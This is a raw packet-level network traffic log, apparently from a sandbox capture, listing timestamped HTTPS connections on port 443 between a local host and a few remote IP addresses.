Nov 20, 2024 21:05:48.715996981 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.716008902 CET	49916	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.716013908 CET	443	49916	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.718996048 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.719104052 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:48.719182968 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.719372034 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:48.719405890 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.726785898 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.727372885 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.727401972 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.727900982 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.727905989 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.828294039 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.828730106 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.828741074 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.829180956 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.829185963 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.859181881 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.859597921 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.859632969 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.860090017 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.860104084 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.879193068 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.879617929 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.879643917 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:49.880079031 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:49.880083084 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.191622972 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.195421934 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.195494890 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.195559025 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.195578098 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.195589066 CET	49917	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.195595980 CET	443	49917	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.198429108 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.198502064 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.198596954 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.198746920 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.198781013 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.264787912 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.268280983 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.268450975 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.268521070 CET	49919	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.268541098 CET	443	49919	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.271842957 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.271919966 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.272001982 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.272131920 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.272162914 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.312274933 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.315452099 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.315500021 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.315499067 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.315551996 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.315619946 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.315642118 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.315654993 CET	49920	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.315661907 CET	443	49920	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.318259001 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.318306923 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.318373919 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.318519115 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.318531990 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.396292925 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.399590969 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.399683952 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.399732113 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.399746895 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.399756908 CET	49918	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.399763107 CET	443	49918	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.402609110 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.402662992 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:50.402755022 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.402884960 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:50.402909994 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.050276995 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.050904989 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.050940990 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.051557064 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.051569939 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.158272982 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.159363031 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.159388065 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.160010099 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.160016060 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.181068897 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.187664032 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.187691927 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.188158035 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.188170910 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.252531052 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.256041050 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.256109953 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.256514072 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.256531000 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.495124102 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.498459101 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.498574018 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.498652935 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.498686075 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.498698950 CET	49922	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.498707056 CET	443	49922	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.502067089 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.502105951 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.502185106 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.503333092 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.503345966 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.613708973 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.616956949 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.617023945 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.617116928 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.617116928 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.617156982 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.617156982 CET	49924	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.617172003 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.617181063 CET	443	49924	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.620265007 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.620352030 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.620440960 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.620641947 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.620691061 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.664166927 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.667260885 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.667351961 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.667423964 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.667423964 CET	49923	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.667462111 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.667493105 CET	443	49923	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.670274973 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.670312881 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.670435905 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.670631886 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.670650005 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.704803944 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.708287001 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.708364964 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.708435059 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.708470106 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.708498001 CET	49925	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.708518028 CET	443	49925	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.712236881 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.712261915 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:52.712384939 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.712564945 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:52.712577105 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:53.568664074 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:53.569333076 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:53.569411993 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:53.569946051 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:53.569961071 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.218509912 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.225425005 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.225577116 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.225888968 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.225927114 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.225958109 CET	49921	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.225975990 CET	443	49921	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.235811949 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.235852957 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.235935926 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.236067057 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.236076117 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.416007042 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.416686058 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.416723013 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.417172909 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.417179108 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.420974016 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:54.421056032 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:54.421116114 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:54.461815119 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.462517023 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.462544918 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.463335991 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.463344097 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.531347036 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.531884909 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.531920910 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.532407999 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.532413960 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.665632963 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.666101933 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.666125059 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.667053938 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.667059898 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.859150887 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.862359047 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.862448931 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.862478971 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.862493992 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.862508059 CET	49927	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.862514019 CET	443	49927	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.865432024 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.865469933 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.865555048 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.866012096 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.866024017 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.906075001 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.909333944 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.909390926 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.909403086 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.909414053 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.909509897 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.909768105 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.909768105 CET	49928	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.909782887 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.909791946 CET	443	49928	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.912655115 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.912703991 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.912776947 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.912921906 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.912939072 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.975692987 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.978883982 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.978965998 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.979037046 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.979037046 CET	49929	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.979052067 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.979063034 CET	443	49929	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.981873989 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.981906891 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:54.981998920 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.982139111 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:54.982148886 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.110816002 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.113637924 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.113711119 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.113796949 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.113811970 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.113830090 CET	49926	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.113837004 CET	443	49926	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.116733074 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.116769075 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.116836071 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.116976976 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:55.116992950 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:55.160599947 CET	49907	443	192.168.2.4	216.58.208.228
Nov 20, 2024 21:05:55.160609961 CET	443	49907	216.58.208.228	192.168.2.4
Nov 20, 2024 21:05:56.021326065 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.022012949 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.022021055 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.022401094 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.022404909 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.464313984 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.467885971 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.467932940 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.468595982 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.468611002 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.468621016 CET	49930	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.468626976 CET	443	49930	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.474636078 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.474695921 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.474757910 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.475246906 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.475263119 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.717009068 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.717530966 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.717567921 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.728380919 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.728415012 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.747112989 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.760916948 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.760940075 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.761409044 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.761415005 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.843288898 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.849750042 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.849787951 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.856154919 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.856161118 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.932009935 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.933121920 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.933149099 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:56.936058044 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:56.936064959 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.164597988 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.167264938 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.167320967 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.167325974 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.167371035 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.168271065 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.168288946 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.168303013 CET	49932	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.168312073 CET	443	49932	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.172981977 CET	49936	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.173017979 CET	443	49936	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.173074007 CET	49936	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.173394918 CET	49936	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.173408985 CET	443	49936	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.238202095 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.238251925 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.238296986 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.238473892 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.238492012 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.238506079 CET	49931	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.238512039 CET	443	49931	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.242908955 CET	49937	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.242938995 CET	443	49937	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.242999077 CET	49937	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.243201971 CET	49937	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.243216038 CET	443	49937	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.301532030 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.301706076 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.301790953 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.309596062 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.309607983 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.309623003 CET	49933	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.309628963 CET	443	49933	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.312537909 CET	49938	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.312562943 CET	443	49938	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.312700987 CET	49938	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.312808990 CET	49938	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.312815905 CET	443	49938	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.386198997 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.386272907 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.386352062 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.386363983 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.386418104 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.386647940 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.386672020 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.386684895 CET	49934	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.386692047 CET	443	49934	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.389945984 CET	49939	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.389981031 CET	443	49939	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:57.390093088 CET	49939	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.390273094 CET	49939	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:57.390285969 CET	443	49939	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.309387922 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.309817076 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:58.309840918 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.310269117 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:58.310278893 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.755985975 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.756068945 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.756272078 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:58.756392002 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:58.756414890 CET	443	49935	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:58.756443024 CET	49935	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:58.756449938 CET	443	49935	13.107.246.63	192.168.2.4
